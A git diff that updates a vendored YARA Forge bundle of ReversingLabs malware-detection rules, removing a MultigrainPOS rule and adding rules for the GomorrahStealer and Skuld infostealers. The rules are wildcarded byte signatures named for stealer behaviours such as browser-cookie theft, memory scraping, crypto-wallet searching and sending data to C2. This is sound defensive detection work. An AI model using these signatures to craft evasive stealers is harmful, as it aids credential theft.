diff --git a/third_party/yara/YARAForge/RELEASE b/third_party/yara/YARAForge/RELEASE index 0e4856e82..33a406944 100644 --- a/third_party/yara/YARAForge/RELEASE +++ b/third_party/yara/YARAForge/RELEASE @@ -1 +1 @@ -20260222 +20260301 diff --git a/third_party/yara/YARAForge/yara-rules-full.yar b/third_party/yara/YARAForge/yara-rules-full.yar index c756063d7..e156debbf 100644 --- a/third_party/yara/YARAForge/yara-rules-full.yar +++ b/third_party/yara/YARAForge/yara-rules-full.yar @@ -12,9 +12,9 @@ * Force Exclude Importance Level: 0 * Minimum Age (in days): 0 * Minimum Score: 40 - * Creation Date: 2026-02-22 - * Number of Rules: 11646 - * Skipped: 0 (age), 238 (quality), 8 (score), 0 (importance) + * Creation Date: 2026-03-01 + * Number of Rules: 11652 + * Skipped: 0 (age), 230 (quality), 8 (score), 0 (importance) */ import "console" @@ -30,7 +30,7 @@ import "string" * YARA Rule Set * Repository Name: ReversingLabs * Repository: https://github.com/reversinglabs/reversinglabs-yara-rules/ - * Retrieval Date: 2026-02-22 + * Retrieval Date: 2026-03-01 * Git Commit: e0a0be54aa1e11ccfd6854e4f19e9476f328fd84 * Number of Rules: 1240 * Skipped: 0 (age), 0 (quality), 0 (score), 0 (importance) @@ -58,90 +58,6 @@ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ -rule REVERSINGLABS_Win32_Infostealer_Multigrainpos : TC_DETECTION MALICIOUS MALWARE FILE -{ - meta: - description = "Yara rule that detects MultigrainPOS infostealer." - author = "ReversingLabs" - id = "595c04af-802f-556d-b22b-23cac79b256e" - date = "2020-06-26" - modified = "2020-07-15" - reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/infostealer/Win32.Infostealer.MultigrainPOS.yara#L1-L88" - license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "9808c95b850a54677c4132057b8372cabf0159920b7e0e6834a83f0d39c088fa" - score = 75 - quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" - status = "RELEASED" - sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Infostealer" - tc_detection_name = "MultigrainPOS" - tc_detection_factor = 5 - importance = 25 - - strings: - $data_exfiltration_v10_1 = { - 55 8B EC 83 EC ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 53 8B 1D ?? ?? ?? ?? 56 57 8B 3D ?? - ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 83 7D ?? ?? 6A ?? 8D 4D ?? 51 6A ?? 6A ?? 8D 45 ?? 0F - 43 45 ?? 6A ?? 50 FF 15 ?? ?? ?? ?? 6A ?? 85 C0 75 ?? 8B 45 ?? 50 8B 70 ?? FF D7 81 - FE ?? ?? ?? ?? 74 ?? 81 FE ?? ?? ?? ?? 75 ?? 83 7D ?? ?? 5F 5E 5B 72 ?? FF 75 ?? E8 - ?? ?? ?? ?? 83 C4 ?? 8B 4D ?? 33 CD B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B E5 5D C2 ?? ?? - FF 75 ?? FF D7 68 ?? ?? ?? ?? FF D3 EB - } - $memory_scraping_v10_1 = { - 6A ?? 56 8B CF E8 ?? ?? ?? ?? 85 C0 75 ?? 6A ?? 56 8B CF E8 ?? ?? ?? ?? 8B 8D ?? ?? - ?? ?? EB ?? 3C ?? 7C ?? 3C ?? 7E ?? 8A 46 ?? 3C ?? 7C ?? 3C ?? 7E ?? 3C ?? 74 - } - $process_search_v10_1 = { - 55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 53 56 57 68 ?? ?? ?? ?? E8 - ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? C7 85 ?? ?? ?? ?? ?? ?? - ?? ?? 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 8B F0 8D 85 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ?? - 85 C0 74 ?? 8B 3D ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 56 FF D7 85 C0 74 ?? 8B 1D ?? ?? - ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 50 FF D3 85 C0 74 ?? 8D - 85 ?? ?? ?? ?? 50 56 FF D7 85 C0 75 - } - $service_creation_v10_1 = { - 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 44 24 ?? 50 8D 4C 24 ?? C7 44 24 ?? ?? ?? - ?? ?? E8 ?? ?? ?? ?? 8D 4C 24 ?? E8 ?? ?? ?? ?? 33 C0 5E 8B 4C 24 ?? 33 CC E8 ?? ?? - ?? ?? 8B E5 5D C3 8B 35 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF D6 8D 44 24 ?? 50 C7 44 24 ?? - ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? - FF 15 - } - $process_search_v11_1 = { - 55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 53 56 57 8B 7D ?? FF 15 ?? - ?? ?? ?? 8B 1D ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? EB ?? 8D 49 ?? 68 ?? ?? ?? ?? 8D 85 ?? - ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 6A ?? 6A ?? - FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 F8 ?? 75 ?? 68 ?? ?? ?? ?? FF D3 EB ?? 8D 8D - ?? ?? ?? ?? 51 50 FF 15 ?? ?? ?? ?? 8B 9D ?? ?? ?? ?? 33 C0 68 ?? ?? ?? ?? 50 66 89 - 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 33 C9 EB ?? 8D A4 24 ?? - ?? ?? ?? EB ?? 8D 49 ?? 0F B7 84 0D ?? ?? ?? ?? 66 89 84 0D ?? ?? ?? ?? 8D 49 ?? 66 - 85 C0 75 ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? - 50 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 15 - } - $memory_scraping_v11_1 = { - 6A ?? 56 8B CF E8 ?? ?? ?? ?? 6A ?? 56 8B CF E8 ?? ?? ?? ?? EB ?? 3C ?? 75 ?? 6A ?? - 56 8B CF E8 ?? ?? ?? ?? 6A ?? 56 8B CF E8 - } - $data_exfiltration_v11_1 = { - 55 8B EC 83 EC ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 53 8A 5D ?? 56 57 8B 3D ?? ?? ?? ?? - C7 45 ?? ?? ?? ?? ?? 83 7D ?? ?? 6A ?? 8D 4D ?? 51 6A ?? 6A ?? 8D 45 ?? 0F 43 45 ?? - 6A ?? 50 FF 15 ?? ?? ?? ?? 6A ?? 85 C0 75 ?? 8B 45 ?? 50 8B 70 ?? FF D7 81 FE ?? ?? - ?? ?? 74 ?? 81 FE ?? ?? ?? ?? 74 ?? 84 DB 74 ?? 33 F6 83 7D ?? ?? 72 ?? FF 75 ?? E8 - ?? ?? ?? ?? 83 C4 ?? 8B 4D ?? 5F 8B C6 5E 33 CD 5B E8 ?? ?? ?? ?? 8B E5 5D C2 ?? ?? - FF 75 ?? FF D7 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 84 DB 74 ?? EB ?? BE ?? ?? ?? ?? EB - } - $service_creation_v11_1 = { - 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 44 24 ?? 50 8D 4C 24 ?? C7 44 24 ?? ?? ?? - ?? ?? E8 ?? ?? ?? ?? 8D 4C 24 ?? E8 ?? ?? ?? ?? 33 C0 8B 4C 24 ?? 33 CC E8 ?? ?? ?? - ?? 8B E5 5D C3 8D 44 24 ?? 50 C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 - 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? FF 15 - } - - condition: - uint16( 0 ) == 0x5A4D and ( ( $data_exfiltration_v10_1 and $memory_scraping_v10_1 and $process_search_v10_1 and $service_creation_v10_1 ) or ( $process_search_v11_1 and $memory_scraping_v11_1 and $data_exfiltration_v11_1 and $service_creation_v11_1 ) ) -} rule REVERSINGLABS_Win32_Infostealer_Projecthookpos : TC_DETECTION MALICIOUS MALWARE FILE { meta: @@ -237,6 +153,103 @@ rule REVERSINGLABS_Win32_Infostealer_Projecthookpos : TC_DETECTION MALICIOUS MAL condition: uint16( 0 ) == 0x5A4D and ( $calc_luhn and $track_1_reverse and $check_validity_1 and $encode_and_send_1 and $form_create_1 and $form_create_2 and $form_create_3 ) } +rule REVERSINGLABS_Bytecode_MSIL_Infostealer_Gomorrahstealer : TC_DETECTION MALICIOUS MALWARE FILE +{ + meta: + description = "Yara rule that detects GomorrahStealer infostealer." + author = "ReversingLabs" + id = "f3c14d23-47a2-5b09-8f48-0c2f9350516a" + date = "2024-11-27" + modified = "2024-11-27" + reference = "ReversingLabs" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/infostealer/ByteCode.MSIL.Infostealer.GomorrahStealer.yara#L1-L111" + license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" + logic_hash = "75d86ea2ef9f24487ef54979508170651cd60abba6daa4c3117e20a77bb3b086" + score = 75 + quality = 90 + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + status = "RELEASED" + sharing = "TLP:WHITE" + category = "MALWARE" + tc_detection_type = "Infostealer" + tc_detection_name = "GomorrahStealer" + tc_detection_factor = 5 + importance = 25 + + strings: + $get_browser_autofill_data = { + 1F ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0B 73 ?? ?? ?? ?? 0C 07 73 ?? ?? + ?? ?? 0D 09 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 26 09 6F ?? ?? ?? ?? 0A 16 06 17 DA 13 ?? + 13 ?? 2B ?? 09 11 ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 09 11 ?? 72 ?? ?? ?? ?? 6F + ?? ?? ?? ?? 13 ?? 08 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 26 08 72 ?? ?? ?? ?? 11 ?? 28 ?? + ?? ?? ?? 6F ?? ?? ?? ?? 26 08 72 ?? ?? ?? ?? 11 ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 26 + 08 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 26 08 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 26 7E ?? ?? ?? + ?? 17 D6 80 ?? ?? ?? ?? 00 11 ?? 17 D6 13 ?? 11 ?? 11 ?? 13 ?? 11 ?? 3E ?? ?? ?? ?? + 17 8D ?? ?? ?? ?? 13 ?? 11 ?? 16 7E ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? A2 00 + 11 ?? 28 ?? ?? ?? ?? 08 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 00 DE ?? 25 28 ?? ?? ?? ?? 13 + ?? 00 28 ?? ?? ?? ?? DE + } + $get_browser_cookies = { + 1F ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0B 73 ?? ?? ?? ?? 0C 07 73 ?? ?? + ?? ?? 0D 09 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 26 09 6F ?? ?? ?? ?? 0A 16 06 17 DA 13 ?? + 13 ?? 38 ?? ?? ?? ?? 09 11 ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 09 11 ?? 72 ?? ?? + ?? ?? 6F ?? ?? ?? ?? 13 ?? 09 11 ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 09 11 ?? 72 + ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 09 11 ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 09 11 + ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 09 11 ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? + 11 ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 11 ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? + 16 2B ?? 17 00 13 ?? 11 ?? 2C ?? 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 14 (FE | 01) ?? 13 ?? + 11 ?? 2C ?? 38 ?? ?? ?? ?? 28 ?? ?? ?? ?? 11 ?? 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 7E ?? + ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 13 ?? 2B ?? 00 11 ?? 28 ?? ?? ?? ?? 13 ?? 00 + 08 1F ?? 8D ?? ?? ?? ?? 13 ?? 11 ?? 16 11 ?? A2 00 11 ?? 17 72 ?? ?? ?? ?? A2 00 11 + ?? 18 11 ?? A2 00 11 ?? 19 72 ?? ?? ?? ?? A2 00 11 ?? 1A 11 ?? A2 00 11 ?? 1B 72 ?? + ?? ?? ?? A2 00 11 ?? 1C 11 ?? A2 00 11 ?? 1D 72 ?? ?? ?? ?? A2 00 11 ?? 1E 11 ?? A2 + 00 11 ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 26 7E ?? ?? ?? ?? 17 D6 80 ?? ?? ?? ?? 00 11 + ?? 17 D6 13 ?? 11 ?? 11 ?? 13 ?? 11 ?? 3E ?? ?? ?? ?? 17 8D ?? ?? ?? ?? 13 ?? 11 ?? + 16 7E ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? A2 00 11 ?? 28 ?? ?? ?? ?? 08 6F ?? + ?? ?? ?? 28 ?? ?? ?? ?? 00 DE ?? 25 28 ?? ?? ?? ?? 13 ?? 00 28 ?? ?? ?? ?? DE + } + $take_screenshot = { + 12 ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 12 ?? 28 ?? ?? ?? ?? 28 ?? + ?? ?? ?? 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 12 ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 00 + 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 12 ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? + ?? 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 12 ?? 28 ?? ?? ?? ?? 73 ?? ?? ?? ?? 0B 07 28 + ?? ?? ?? ?? 0A 06 12 ?? 16 16 28 ?? ?? ?? ?? 00 11 ?? 12 ?? 16 16 28 ?? ?? ?? ?? 00 + 11 ?? 08 6F ?? ?? ?? ?? 00 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 07 6F ?? ?? + ?? ?? 00 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 7E ?? ?? ?? ?? + 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 DE ?? 25 28 ?? ?? ?? ?? 0D 00 28 ?? ?? ?? ?? DE + } + $get_antivirus_information = { + 7E ?? ?? ?? ?? 0B 00 28 ?? ?? ?? ?? 0D 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? + 1B (FE | 02) ?? 72 ?? ?? ?? ?? 09 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 09 72 + ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 13 ?? 11 ?? 72 ?? ?? ?? ?? + 73 ?? ?? ?? ?? 13 ?? 11 ?? 6F ?? ?? ?? ?? 13 ?? 72 ?? ?? ?? ?? 11 ?? 6F ?? ?? ?? ?? + 13 ?? 12 ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0C 00 11 ?? 6F ?? ?? ?? ?? + 13 ?? 2B ?? 11 ?? 6F ?? ?? ?? ?? 74 ?? ?? ?? ?? 13 ?? 00 08 11 ?? 72 ?? ?? ?? ?? 6F + ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0C DE ?? 28 + ?? ?? ?? ?? 00 28 ?? ?? ?? ?? DE ?? 00 00 08 11 ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 72 + ?? ?? ?? ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? + ?? 0C DE ?? 28 ?? ?? ?? ?? 00 28 ?? ?? ?? ?? DE ?? 00 00 11 ?? 6F ?? ?? ?? ?? 13 ?? + 11 ?? 3A ?? ?? ?? ?? 00 DE ?? 11 ?? 14 (FE | 01) ?? 16 (FE | 01) ?? 13 ?? 11 ?? 2C ?? + 11 ?? 6F ?? ?? ?? ?? 00 00 DC 08 0B DE ?? 28 ?? ?? ?? ?? 00 28 ?? ?? ?? ?? DE ?? 00 + 07 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 11 ?? 2C ?? 07 17 8D ?? ?? ?? ?? 13 ?? 11 ?? + 16 1F ?? 9D 11 ?? 6F ?? ?? ?? ?? 17 9A 16 8D ?? ?? ?? ?? 6F ?? ?? ?? ?? 16 8D ?? ?? + ?? ?? 6F ?? ?? ?? ?? 0B 00 07 0A 2B ?? 06 + } + $get_browser_history = { + 1F ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0B 73 ?? ?? ?? ?? 0C 07 73 ?? ?? + ?? ?? 0D 09 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 26 09 6F ?? ?? ?? ?? 0A 16 06 17 DA 13 ?? + 13 ?? 2B ?? 09 11 ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 09 11 ?? 72 ?? ?? ?? ?? 6F + ?? ?? ?? ?? 13 ?? 08 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 26 08 72 ?? ?? ?? ?? 11 ?? 28 ?? + ?? ?? ?? 6F ?? ?? ?? ?? 26 08 72 ?? ?? ?? ?? 11 ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 26 + 08 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 26 7E ?? ?? ?? ?? 17 D6 80 ?? ?? ?? ?? 00 11 ?? 17 + D6 13 ?? 11 ?? 11 ?? 13 ?? 11 ?? 31 ?? 17 8D ?? ?? ?? ?? 13 ?? 11 ?? 16 7E ?? ?? ?? + ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? A2 00 11 ?? 28 ?? ?? ?? ?? 08 6F ?? ?? ?? ?? 28 ?? + ?? ?? ?? 00 DE ?? 25 28 ?? ?? ?? ?? 13 ?? 00 28 ?? ?? ?? ?? DE + } + + condition: + uint16( 0 ) == 0x5A4D and ( $get_browser_autofill_data ) and ( $get_browser_cookies ) and ( $take_screenshot ) and ( $get_antivirus_information ) and ( $get_browser_history ) +} rule REVERSINGLABS_Win32_Infostealer_Lumarstealer : TC_DETECTION MALICIOUS MALWARE FILE { meta: @@ -412,6 +425,235 @@ rule REVERSINGLABS_Win32_Infostealer_Lumarstealer : TC_DETECTION MALICIOUS MALWA condition: uint16( 0 ) == 0x5A4D and ( all of ( $collect_os_information_p* ) ) and ( all of ( $send_data_to_c2_p* ) ) and ( all of ( $find_files_p* ) ) and ( all of ( $find_crypto_wallets_* ) ) } +rule REVERSINGLABS_Win64_Infostealer_Skuld : TC_DETECTION MALICIOUS MALWARE FILE +{ + meta: + description = "Yara rule that detects Skuld infostealer." + author = "ReversingLabs" + id = "2658fc6e-3f3f-5042-be05-cdcc3a29f133" + date = "2025-06-10" + modified = "2025-06-10" + reference = "ReversingLabs" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/infostealer/Win64.Infostealer.Skuld.yara#L1-L192" + license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" + logic_hash = "a927a8bc74e2a6676825b208cd74f1be09cc3bc3aea7f7d54c5d016a330e77c2" + score = 75 + quality = 90 + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + status = "RELEASED" + sharing = "TLP:WHITE" + category = "MALWARE" + tc_detection_type = "Infostealer" + tc_detection_name = "Skuld" + tc_detection_factor = 5 + importance = 25 + + strings: + $get_mac_address = { + 4C 8D 64 24 ?? 4D 3B 66 ?? 0F 86 ?? ?? ?? ?? 55 48 89 E5 48 81 EC ?? ?? ?? ?? E8 ?? + ?? ?? ?? 90 48 85 FF 75 ?? EB ?? 31 C0 31 DB 48 89 F9 48 89 F7 48 81 C4 ?? ?? ?? ?? + 5D C3 48 83 C0 ?? 48 FF CB 48 85 DB 0F 8E ?? ?? ?? ?? 0F 10 00 0F 11 44 24 ?? 0F 10 + 40 ?? 0F 11 44 24 ?? 0F 10 40 ?? 0F 11 84 24 ?? ?? ?? ?? 0F 10 40 ?? 0F 11 84 24 ?? + ?? ?? ?? 48 8B 94 24 ?? ?? ?? ?? 0F BA E2 ?? 90 73 ?? 48 83 BC 24 ?? ?? ?? ?? ?? 74 + ?? 31 C9 EB ?? 48 89 5C 24 ?? 48 89 84 24 ?? ?? ?? ?? 48 8B 84 24 ?? ?? ?? ?? 31 DB + 31 C9 E8 ?? ?? ?? ?? 48 8B 5C 24 ?? 89 C1 48 8B 84 24 ?? ?? ?? ?? 83 F1 ?? EB ?? 31 + C9 84 C9 0F 84 ?? ?? ?? ?? 48 8B 94 24 ?? ?? ?? ?? 48 85 D2 74 ?? 48 89 54 24 ?? 48 + 8D 0C 52 48 8D 49 ?? 48 89 4C 24 ?? 48 8B B4 24 ?? ?? ?? ?? 48 89 B4 24 ?? ?? ?? ?? + 48 8D 05 ?? ?? ?? ?? 31 DB E8 ?? ?? ?? ?? 48 8B 94 24 ?? ?? ?? ?? 48 8B 74 24 ?? 48 + 8B 7C 24 ?? 31 C9 31 DB EB ?? 31 C0 31 C9 EB ?? 48 8D 05 ?? ?? ?? ?? BB ?? ?? ?? ?? + 31 C9 31 FF 48 89 FE 0F 1F 44 00 ?? E8 ?? ?? ?? ?? 48 89 C1 48 89 DF 31 C0 31 DB 48 + 81 C4 ?? ?? ?? ?? 5D C3 48 89 C3 31 FF 48 89 C8 31 C9 48 81 C4 ?? ?? ?? ?? 5D C3 44 + 88 44 03 ?? 48 FF C1 + } + $find_files_p1 = { + 4C 8D A4 24 ?? ?? ?? ?? 4D 3B 66 ?? 0F 86 ?? ?? ?? ?? 55 48 89 E5 48 81 EC ?? ?? ?? + ?? 48 89 B4 24 ?? ?? ?? ?? 48 89 BC 24 ?? ?? ?? ?? 48 89 8C 24 ?? ?? ?? ?? 48 89 9C + 24 ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 48 8D 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 89 84 + 24 ?? ?? ?? ?? 48 C7 40 ?? ?? ?? ?? ?? 48 8B 9C 24 ?? ?? ?? ?? 48 8B 84 24 ?? ?? ?? + ?? E8 ?? ?? ?? ?? 48 89 5C 24 ?? 31 C9 EB ?? 48 8B 84 24 ?? ?? ?? ?? 48 83 C0 ?? 48 + 8B 4C 24 ?? 48 FF C1 48 8B 5C 24 ?? 0F 1F 84 00 ?? ?? ?? ?? 48 39 CB 0F 8E ?? ?? ?? + ?? 48 89 4C 24 ?? 48 89 84 24 ?? ?? ?? ?? 48 8D 53 ?? 48 89 94 24 ?? ?? ?? ?? 4C 8B + 00 4C 89 44 24 ?? 4C 8B 48 ?? 4C 89 8C 24 ?? ?? ?? ?? 48 39 D1 75 ?? 31 C0 48 8B 9C + 24 ?? ?? ?? ?? 48 8B 8C 24 ?? ?? ?? ?? 48 8D 3D ?? ?? ?? ?? BE ?? ?? ?? ?? E8 ?? ?? + ?? ?? 66 90 EB ?? 31 C0 48 8B 9C 24 ?? ?? ?? ?? 48 8B 8C 24 ?? ?? ?? ?? 48 8D 3D ?? + ?? ?? ?? BE ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 48 89 5C 24 ?? 48 8B + 4C 24 ?? 48 8B 51 ?? 48 8B 84 24 ?? ?? ?? ?? FF D2 48 8B 8C 24 ?? ?? ?? ?? 48 85 C9 + 48 8B 94 24 ?? ?? ?? ?? 48 8B 5C 24 ?? 48 0F 45 D3 48 89 54 24 ?? 48 8B 9C 24 ?? ?? + ?? ?? 48 8B BC 24 ?? ?? ?? ?? 48 0F 45 DF 48 89 9C 24 ?? ?? ?? ?? 84 C0 0F 84 ?? ?? + ?? ?? 48 8B 4C 24 ?? 48 8B 51 ?? 48 8B 84 24 ?? ?? ?? ?? FF D2 48 89 84 24 ?? ?? ?? + ?? 48 89 9C 24 ?? ?? ?? ?? 44 0F 11 BC 24 ?? ?? ?? ?? 44 0F 11 BC 24 ?? ?? ?? ?? 48 + 8B 84 24 ?? ?? ?? ?? 48 8B 5C 24 ?? E8 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? 48 89 8C 24 + ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 48 8B 84 24 ?? ?? ?? ?? 48 8B 9C 24 ?? ?? ?? ?? + E8 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? 48 89 8C 24 ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? + 48 8D 05 ?? ?? ?? ?? 48 8B 9C 24 ?? ?? ?? ?? BF ?? ?? ?? ?? 48 8D B4 24 + } + $find_files_p2 = { + 41 B8 ?? ?? ?? ?? 4D 89 C1 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 4C 24 ?? 48 8B + 94 24 ?? ?? ?? ?? 48 39 D1 0F 85 ?? ?? ?? ?? 48 8B 4C 24 ?? 48 8B 49 ?? 48 8B 84 24 + ?? ?? ?? ?? FF D1 44 0F 11 BC 24 ?? ?? ?? ?? 44 0F 11 BC 24 ?? ?? ?? ?? 48 8B 8C 24 + ?? ?? ?? ?? 48 89 8C 24 ?? ?? ?? ?? 48 8B 94 24 ?? ?? ?? ?? 48 89 94 24 ?? ?? ?? ?? + 48 89 9C 24 ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 48 8D 84 24 ?? ?? ?? ?? BB ?? ?? ?? + ?? 48 89 D9 E8 ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 48 89 5C 24 ?? 48 8D 05 ?? ?? ?? + ?? E8 ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 48 8B 9C 24 ?? ?? ?? ?? 48 8B 8C 24 ?? ?? + ?? ?? 48 8D 3D ?? ?? ?? ?? BE ?? ?? ?? ?? 31 C0 E8 ?? ?? ?? ?? 48 89 C1 48 89 DF 48 + 8B B4 24 ?? ?? ?? ?? 41 B8 ?? ?? ?? ?? 4D 89 C1 48 8B 84 24 ?? ?? ?? ?? 48 8B 5C 24 + ?? E8 ?? ?? ?? ?? 48 8B 8C 24 ?? ?? ?? ?? 48 8B 11 90 66 90 48 85 D2 74 ?? 48 39 D1 + 74 ?? E9 ?? ?? ?? ?? 83 3D ?? ?? ?? ?? ?? 74 ?? E8 ?? ?? ?? ?? 49 89 0B 48 8B 11 49 + 89 53 ?? 48 89 09 48 8B 51 ?? 4C 8B 41 ?? 4E 8D 0C 03 4C 8B 51 ?? 4C 39 CA 73 ?? 4C + 89 84 24 ?? ?? ?? ?? 48 89 5C 24 ?? 48 89 84 24 ?? ?? ?? ?? 4C 89 D0 48 89 D1 48 89 + DF 48 8D 35 ?? ?? ?? ?? 4C 89 CB E8 ?? ?? ?? ?? 4C 8B 84 24 ?? ?? ?? ?? 49 89 C2 49 + 89 D9 48 89 CA 48 8B 84 24 ?? ?? ?? ?? 48 8B 5C 24 ?? 4C 89 94 24 ?? ?? ?? ?? 4C 89 + } + $find_files_p3 = { + 8C 24 ?? ?? ?? ?? 48 89 94 24 ?? ?? ?? ?? 4B 8D 34 02 48 89 D9 48 89 C3 48 89 F0 E8 + ?? ?? ?? ?? 48 8B 94 24 ?? ?? ?? ?? 48 8B B4 24 ?? ?? ?? ?? 48 89 56 ?? 48 8B 94 24 + ?? ?? ?? ?? 48 89 56 ?? 83 3D ?? ?? ?? ?? ?? 75 ?? 48 8B 94 24 ?? ?? ?? ?? EB ?? E8 + ?? ?? ?? ?? 48 8B 94 24 ?? ?? ?? ?? 49 89 13 4C 8B 46 ?? 4D 89 43 ?? 48 89 56 ?? E9 